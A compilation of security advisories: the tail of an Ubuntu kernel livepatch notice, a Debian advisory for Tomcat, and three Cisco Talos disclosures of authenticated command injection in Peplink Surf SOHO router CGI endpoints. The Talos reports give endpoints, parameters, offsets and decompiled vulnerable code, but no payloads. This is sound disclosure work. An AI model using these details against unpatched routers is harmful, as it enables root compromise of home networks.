It was discovered that some network classifier implementations in the  
Linux kernel contained use-after-free vulnerabilities. A local attacker  
could use this to cause a denial of service (system crash) or possibly  
execute arbitrary code. (CVE-2023-4128)

Ye Zhang and Nicolas Wu discovered that the io_uring subsystem in the  
Linux kernel did not properly handle locking for rings with IOPOLL,  
leading to a double-free vulnerability. A local attacker could use this  
to cause a denial of service (system crash) or possibly execute  
arbitrary code. (CVE-2023-21400)

It was discovered that the bluetooth subsystem in the Linux kernel did  
not properly handle L2CAP socket release, leading to a use-after-free  
vulnerability. A local attacker could use this to cause a denial of  
service (system crash) or possibly execute arbitrary code.  
(CVE-2023-40283)

Update instructions

The problem can be corrected by updating your kernel livepatch to the  
following versions:

Ubuntu 20.04 LTS  
    aws - 98.1  
    azure - 98.1  
    gcp - 98.1  
    generic - 98.1  
    gke - 98.1  
    gkeop - 98.1  
    ibm - 98.1  
    lowlatency - 98.1

Ubuntu 18.04 LTS  
    aws - 98.1  
    azure - 98.1  
    gcp - 98.1  
    generic - 98.1  
    generic - 98.2  
    lowlatency - 98.1  
    lowlatency - 98.2

Ubuntu 16.04 ESM  
    aws - 98.1  
    azure - 98.1  
    gcp - 98.1  
    generic - 98.1  
    lowlatency - 98.1

Ubuntu 22.04 LTS  
    aws - 98.1  
    aws - 98.2  
    azure - 98.1  
    azure - 98.2  
    gcp - 98.1  
    gcp - 98.3  
    generic - 98.1  
    generic - 98.2  
    gke - 98.1  
    ibm - 98.1

Ubuntu 14.04 ESM  
    generic - 98.1  
    lowlatency - 98.1

Support Information

Livepatches for supported LTS kernels will receive upgrades for a period  
of up to 13 months after the build date of the kernel.

Livepatches for supported HWE kernels which are not based on an LTS  
kernel version will receive upgrades for a period of up to 9 months  
after the build date of the kernel, or until the end of support for that  
kernel’s non-LTS distro release version, whichever is sooner.

References

-   CVE-2023-3090  
-   CVE-2023-3567  
-   CVE-2023-3609  
-   CVE-2023-3776  
-   CVE-2023-3777  
-   CVE-2023-3995  
-   CVE-2023-4004  
-   CVE-2023-4128  
-   CVE-2023-21400  
-   CVE-2023-40283

Kernel Live Patch Security Notice LSN-0098-1

Debian Linux Security Advisory 5522-1 - Several security vulnerabilities have been discovered in the Tomcat servlet and JSP engine.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5522-1                   security@debian.org  
https://www.debian.org/security/                          Markus Koschany  
October 10, 2023                      https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : tomcat9  
CVE ID         : CVE-2023-24998 CVE-2023-41080 CVE-2023-42795 CVE-2023-44487  
                 CVE-2023-45648

Several security vulnerabilities have been discovered in the Tomcat  
servlet and JSP engine.

CVE-2023-24998

    Denial of service. Tomcat uses a packaged renamed copy of Apache Commons  
    FileUpload to provide the file upload functionality defined in the Jakarta  
    Servlet specification. Apache Tomcat was, therefore, also vulnerable to the  
    Commons FileUpload vulnerability CVE-2023-24998 as there was no limit to  
    the number of request parts processed. This resulted in the possibility of  
    an attacker triggering a DoS with a malicious upload or series of uploads.

CVE-2023-41080

    Open redirect. If the ROOT (default) web application is configured to use  
    FORM authentication then it is possible that a specially crafted URL could  
    be used to trigger a redirect to an URL of the attackers choice.

CVE-2023-42795

    Information Disclosure. When recycling various internal objects, including  
    the request and the response, prior to re-use by the next request/response,  
    an error could cause Tomcat to skip some parts of the recycling process  
    leading to information leaking from the current request/response to the  
    next.

CVE-2023-44487

    DoS caused by HTTP/2 frame overhead (Rapid Reset Attack)

CVE-2023-45648

    Request smuggling. Tomcat did not correctly parse HTTP trailer headers. A  
    specially crafted, invalid trailer header could cause Tomcat to treat a  
    single request as multiple requests leading to the possibility of request  
    smuggling when behind a reverse proxy.

For the oldstable distribution (bullseye), these problems have been fixed  
in version 9.0.43-2~deb11u7.

We recommend that you upgrade your tomcat9 packages.

For the detailed security status of tomcat9 please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/tomcat9

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmUlyBRfFIAAAAAALgAo  
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD  
RjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7  
UeRBnhAAk1o0EDLnX1zaS0Xnz9jybhd9XdXat1HwZXvV3XFRGVXu5+r2bKH+KQjU  
0GJ6koP3KDt10DrI8DzOq+9Msu0/TbPYAZKDHPjPYfcUqXRmwRrvTXtq5cbR5v3+  
JxgJhiqjQYb1DYiDLC5iU+6aryrZg2ma1i81lG5v8N1TDfaCHzbZiMpyeYEABkd7  
eKX3tzngoK9UaIgYVBxrjnM9bPRWnRFJRBMu/hs4VS6gxqzAaZT72Tcaf0Vf3t1s  
Es5IMgrhBC0Q2Amlm3N5z37p0nlhnJdNC3dAHetRCy92g9/KsjB/1BZfYY7rM8wV  
WwvB5WwQ0T4eRqKmc8yY86sUdfXkhPqz1oFDbnNgxtBjMm2z/of9pNEm+2NCpv9P  
3MpCIKsEWiGH8+uleGuFhAHoWeUYjDNJjH1di6+PYZoBaEJ8eiXct/THBt/0nvFR  
Nh6AFDqi1Hi5/GdPK71eFRDsXOwgSuRg1ZRJtJP1W/dYEiczP89l0CM04PwxEAn2  
dbE2ZCUQmIzQdng4OAHt+ze+QDini4HtoRJnQHq4P/QUIEQAE9C0hOIMMnrtpqIY  
A77Qa1bBVqDgLlhvSmpSrVigmfyXSpmtfc9G0KXcq5IAvr75jZ0PNuIk/VTyklYj  
e3g3nA1rbB1jlx6cvPqWBFItXW8800mJ0CXHb8EN8jKdB5BnooY=  
=6KYM  
-----END PGP SIGNATURE-----

Debian Security Advisory 5522-1

An OS command injection vulnerability exists in the data.cgi xfer_dns functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the data.cgi xfer\_dns functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Peplink Surf SOHO HW1 v6.3.5 (in QEMU)

**PRODUCT URLS**

Surf SOHO HW1 - https://www.peplink.com/products/soho-series-surf/

**CVSSv3 SCORE**

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Surf series of SOHO routers is marketed as an entry-level router for use at home. It provides networking via USB cellular modems, ethernet and Wi-Fi. The device can host a VPN and supports Wi-Fi meshing.

The device hosts a web interface for administrative configuration. An OS command injection vulnerability exists in the handling of requests destined for the /cgi-bin/MANGA/data.cgi endpoint, which are intended to interact with the DNS zone transfer operations. This endpoint is accessible only after successfully authenticating as a user with write privileges on the device. The HTTP POST request must have its parameter option set to xfer_dns and parameter step set to view_domain in order to reach the vulnerable code.

The vulnerable function is located in the file data.cgi at offset 0x491814 in firmware version 6.3.5, and we refer to it as view_domain. In order to reach it, the request first transits through a dispatcher function located at 0x491f14, which we refer to as xfer_dns. Annotated decompilations of the dispatcher function and vulnerable function are included for reference.

    int xfer_dns()
    {
        char *xfer_session = cgi_safe_param("xfer_session");
        
        // [1] This must be set to `view_domain` in order to be dispatched to the vulnerable function
        char* step = cgi_safe_param("step");  
    
        if (xfer_session[0] == 0)
        {
            fprintf(*stdout, "<%s>%s</%s>", "error", "Missing session", "error");
            return 0;
        }
        
        // [2] Observe that some parameters are subject to (a degree of) scrutiny and validation before use
        if (contains_dangerous_shell_characters(xfer_session) == 0)  
        {
            fprintf(*stdout, "<%s>%s</%s>", "error", "Unauthorized session", "error");
            return 0;
        }
    
        // [3] Dispatch code follows
        if (strcmp(step, "zone_transfer") == 0)
        {
            return zone_transfer(xfer_session);
        }
        if (strcmp(step, "status") == 0)
        {
            return status(xfer_session);
        }
        if (strcmp(step, "view_domain") == 0)
        {
            return view_domain(xfer_session, cgi_safe_param("domain"));
        }
        if (strcmp(step, "import") == 0)
        {
            return import("session");
        }
        fprintf(*stdout, "<%s>%s</%s>", "error", "Unknown step", "error");
    }
    

The dispatch functionality is relatively straightforward and is included to show that at [2] certain parameters are subject to a limited degree of scrutiny. The implementation of what we refer to as contains_dangerous_shell_characters is limited to checking whether the parameter contains grave mark, double quote or dollar sign characters. At [3] the dispatcher hands control off to the target function, which in this case is view_domain.

    int view_domain(char* xfer_session, char* domain)
    {
        char cmd[0x400] = {0};
        
        // [4] Craft the command using the unchecked, attacker-controlled domain parameter
        snprintf(&cmd, 0x400, "/usr/local/ilink/bin/dns_import view \"%s\" \"%s\" 2>/dev/null", xfer_session, domain);
        
        // [5] Execute the command with root privileges
        FILE* stream = popen(&cmd, "r");
        
        ...  // The remainder of this function is responsible for parsing the output of dns_import and is unrelated to this vulnerability
        }
    }
    

Observe that when dispatched (at [3]) the HTTP POST param domain is passed as the domain parameter to view_domain. An OS command is crafted at [4] by directly injecting the attacker-controlled domain value. Finally, at [5], the command is executed with root privileges. A properly formatted request can escape the intended command and execute arbitrary commands.

**TIMELINE**

2023-06-26 - Initial Vendor Contact  
2023-06-27 - Vendor Disclosure  
2023-10-11 - Public Release

Discovered by Matt Wiseman of Cisco Talos.

CVE-2023-34356: TALOS-2023-1778 || Cisco Talos Intelligence Group

An OS command injection vulnerability exists in the admin.cgi USSD_send functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the admin.cgi USSD\_send functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Peplink Surf SOHO HW1 v6.3.5 (in QEMU)

**PRODUCT URLS**

Surf SOHO HW1 - https://www.peplink.com/products/soho-series-surf/

**CVSSv3 SCORE**

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Surf series of SOHO routers is marketed as an entry-level router for use at home. It provides networking via USB cellular modems, ethernet and Wi-Fi. The device can host a VPN and supports Wi-Fi meshing.

The device hosts a web interface for administrative configuration. An OS command injection vulnerability exists in the handling of requests destined for the /cgi-bin/MANGA/admin.cgi endpoint that are intended to interact with the GSM module. This endpoint is accessible only after successfully authenticating as a user with write privileges on the device. The HTTP POST request must have a parameter, section, whose value is set to USSD_send in order to reach the vulnerable code. This vulnerability only impacts systems with a functioning GSM module.

The vulnerable function is located in the file admin.cgi at offset 0x4b124c in firmware version 6.3.5, and we refer to it as USSD_send. An annotated decompilation of the function is included for reference.

    int USSD_send(taglist_t* taglist) {
        char cmd[0x400] = {0};
        FILE* stream;
    
        int conn_id = strtol(cgi_safe_param("conn_id"), 0, 10);
        int sim_id = strtol(cgi_safe_param("sim_id"), 0, 10);
        
        char* ussd_code = cgi_safe_param("ussd_code");  // [1] Extract ussd_code parameter into ussd_code variable
        char* status;
    
        if (is_wan_connection_available(taglist, conn_id) == 0)  // [2] Device must have functioning GSM module
        {
            status = "Selected WAN connection is not available at this moment.";
            xml_error(&status);
            return 1;
        } else {
            snprintf(&cmd, 0x400, "mdstatus -W%d -Ci", conn_id);
            stream = popen(&cmd, "r");
            ... // [3] Perform some data extraction on response
    
            snprintf(&cmd, 0x400, "mdstatus -W%d -u"%d,%s"", conn_id, sim_id, ussd_code);  // [4] Craft the command using unchecked, attacker-controlled ussd_code parameter
            stream = popen(&cmd, "r");  // [5] Execute the command with root privileges
            ... // [6] Perform some data extraction and business logic on response
        }
    
        return 0;
    }
    

Observe at [1] that a pointer to the HTTP POST param ussd_code is placed into the ussd_code stack variable. If the network status check at [2] is passed, the command is crafted at [4] by directly injecting the attacker-controlled value. Finally, at [5], the command is executed with root privileges. A properly formatted request can escape the intended command and execute arbitrary commands.

**TIMELINE**

2023-06-26 - Initial Vendor Contact  
2023-06-27 - Vendor Disclosure  
2023-10-11 - Public Release

Discovered by Matt Wiseman of Cisco Talos.

CVE-2023-27380: TALOS-2023-1780 || Cisco Talos Intelligence Group

An OS command injection vulnerability exists in the admin.cgi MVPN_trial_init functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the admin.cgi MVPN\_trial\_init functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A specially crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Peplink Surf SOHO HW1 v6.3.5 (in QEMU)

**PRODUCT URLS**

Surf SOHO HW1 - https://www.peplink.com/products/soho-series-surf/

**CVSSv3 SCORE**

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Surf series of SOHO routers is marketed as an entry-level router for use at home. It provides networking via USB cellular modems, ethernet and Wi-Fi. The device can host a VPN and supports Wi-Fi meshing.

The device hosts a webserver for configuration and control.

An OS command injection vulnerability exists in the handling of requests destined for the /cgi-bin/MANGA/admin.cgi endpoint, which are intended to initialize a trial of the MVPN feature. This endpoint is accessible only after successfully authenticating as a user with write privileges on the device. The vulnerability can only be reached if the device has been configured to use either mvpn_smoothing or mvpn_bonding. The HTTP POST request must have a parameter, section, with a value set to MVPN_trial_init in order to reach the vulnerable code.

The vulnerable function is located in the file admin.cgi at offset 0x4bb7b4 in firmware version 6.3.5, and we refer to it as MVPN_trial_init. An annotated decompilation of the function is included for reference.

    int MVPN_trial_init()
    {
      char debug[0x20] = {0};    
      char cmd[0x400] = {0};
    
      int is_llb = is_support_llb_trial();
      int mvpn_support_mode = get_mvpn_support_mode();
      char* trial_type;
    
      snprintf(&debug, 0x20, "%s", cgi_safe_param("debug"));  // [1] Command injection payload must fit within 0x20 bytes
    
      if (mvpn_support_mode == BONDING) {
        if (is_llb) {
            trial_type = "bonding_llb";
        } else {
            trial_type = "bonding";
        }
      }
      
      if (mvpn_support_mode == SMOOTHING) {
        if (is_llb) {
            trial_type = "smoothing_llb";
        } else {
            trial_type = "smoothing";
        }
      }
      
      if (mvpn_support_mode == BONDING || mvpn_support_mode == SMOOTHING) {  // [2] Smoothing or Bonding must be configured for MVPN in order to reach vulnerable code
        snprintf(cmd, 0x400, "/usr/local/ilink/bin/mvpn_trial_init %s %s > /dev/null 2>&1", trial_type, &debug);  // [3] Craft a command using attacker-controlled `debug` value
        if (system(cmd)) == 0) {  // [4] Execute the crafted command as root
            return 1;
        }
      }
      
      xml_error("Unable to start trial. Please try again later.");
      return 0;
    }
    

Observe at [1] that the first 0x20 bytes of the HTTP POST param debug are extracted into the debug stack variable. If the configuration check at [2] is passed, the command is crafted at [3] by directly injecting the attacker-controlled value. Finally, at [4], the command is executed with root privileges. A properly formatted request can escape the intended command and execute arbitrary commands.

**TIMELINE**

2023-06-26 - Initial Vendor Contact  
2023-06-27 - Vendor Disclosure  
2023-10-11 - Public Release

Discovered by Matt Wiseman of Cisco Talos.

Tag

#web